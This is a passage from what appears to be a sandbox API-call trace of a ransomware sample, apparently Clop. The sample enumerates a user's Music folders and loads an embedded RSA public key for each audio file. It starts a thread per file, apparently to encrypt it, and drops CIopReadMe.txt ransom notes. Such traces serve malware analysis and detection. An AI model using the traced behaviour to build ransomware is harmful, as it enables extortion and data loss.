MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.794] lstrcpyW (in: lpString1=0x2dc93de, lpString2="N0rL.wav" | out: lpString1="N0rL.wav") returned="N0rL.wav" [0094.794] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0094.794] SetErrorMode (uMode=0x1) returned 0x1 [0094.794] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0094.794] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0094.794] CloseHandle (hObject=0x4a8) returned 1 [0094.794] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.794] lstrcmpW (lpString1="p6UEXQwLP.mp3", lpString2="..") returned 1 [0094.794] lstrcmpW (lpString1="p6UEXQwLP.mp3", lpString2=".") returned 1 [0094.794] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.794] Sleep (dwMilliseconds=0xd) [0094.810] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.810] lstrcpyW (in: lpString1=0x2dc93de, lpString2="p6UEXQwLP.mp3" | out: lpString1="p6UEXQwLP.mp3") returned="p6UEXQwLP.mp3" [0094.810] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0094.810] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0xffffffff) returned 0x0 [0094.978] SetErrorMode (uMode=0x1) returned 0x1 [0094.978] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0094.978] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0094.978] CloseHandle (hObject=0x4b4) returned 1 [0094.978] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.978] lstrcmpW (lpString1="Pf3R-b3DBtl.wav", lpString2="..") returned 1 [0094.978] lstrcmpW (lpString1="Pf3R-b3DBtl.wav", lpString2=".") returned 1 [0094.978] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.978] Sleep (dwMilliseconds=0xd) [0094.997] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.997] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Pf3R-b3DBtl.wav" | out: lpString1="Pf3R-b3DBtl.wav") returned="Pf3R-b3DBtl.wav" [0094.997] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0094.997] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0xffffffff) returned 0x0 [0095.041] SetErrorMode (uMode=0x1) returned 0x1 [0095.041] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0095.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0095.041] CloseHandle (hObject=0x4b0) returned 1 [0095.041] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.041] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3", lpString2="..") returned 1 [0095.041] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3", lpString2=".") returned 1 [0095.041] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0095.041] Sleep (dwMilliseconds=0xd) [0095.059] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.059] lstrcpyW (in: lpString1=0x2dc93de, lpString2="vEcRh3pLVRcZ1O.mp3" | out: lpString1="vEcRh3pLVRcZ1O.mp3") returned="vEcRh3pLVRcZ1O.mp3" [0095.059] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0095.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0095.060] SetErrorMode (uMode=0x1) returned 0x1 [0095.060] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0095.060] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0095.060] CloseHandle (hObject=0x4c0) returned 1 [0095.060] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.060] lstrcmpW (lpString1="z8Pr_v.mp3", lpString2="..") returned 1 [0095.060] lstrcmpW (lpString1="z8Pr_v.mp3", lpString2=".") returned 1 [0095.060] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0095.060] Sleep (dwMilliseconds=0xd) [0095.075] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.075] lstrcpyW (in: lpString1=0x2dc93de, lpString2="z8Pr_v.mp3" | out: lpString1="z8Pr_v.mp3") returned="z8Pr_v.mp3" [0095.075] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0095.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0095.075] SetErrorMode (uMode=0x1) returned 0x1 [0095.075] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0095.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0095.075] CloseHandle (hObject=0x4c8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0095.076] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0095.076] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0095.076] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0095.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0095.076] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0095.076] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0095.076] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0095.076] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0095.076] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0095.076] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0095.077] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0095.077] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0095.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0095.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0095.077] SetErrorMode (uMode=0x1) returned 0x1 [0095.077] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0095.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.077] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.077] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0095.077] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3310 [0095.077] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0095.077] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0095.077] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.077] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.077] lstrcmpW (lpString1="2HvoIrFtByws.mp3", lpString2="..") returned 1 [0095.077] lstrcmpW (lpString1="2HvoIrFtByws.mp3", lpString2=".") returned 1 [0095.077] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.077] Sleep (dwMilliseconds=0xd) [0095.106] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.106] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="2HvoIrFtByws.mp3" | out: lpString1="2HvoIrFtByws.mp3") returned="2HvoIrFtByws.mp3" [0095.106] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0095.106] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0xffffffff) returned 0x0 [0095.184] SetErrorMode (uMode=0x1) returned 0x1 [0095.184] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0095.184] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.184] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0095.184] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0095.184] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0095.184] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0095.184] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0095.184] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0095.185] WriteFile (in: hFile=0x4c4, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0095.185] CloseHandle (hObject=0x4c4) returned 1 [0095.185] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0095.186] lstrcmpW (lpString1="69_UAHNRs.mp3", lpString2="..") returned 1 [0095.186] lstrcmpW (lpString1="69_UAHNRs.mp3", lpString2=".") returned 1 [0095.186] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned 40 [0095.186] Sleep (dwMilliseconds=0xd) [0095.201] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0095.201] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="69_UAHNRs.mp3" | out: lpString1="69_UAHNRs.mp3") returned="69_UAHNRs.mp3" [0095.201] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0095.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0095.202] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0xffffffff) returned 0x0 [0095.240] SetErrorMode (uMode=0x1) returned 0x1 [0095.240] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt") returned 50 [0095.240] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 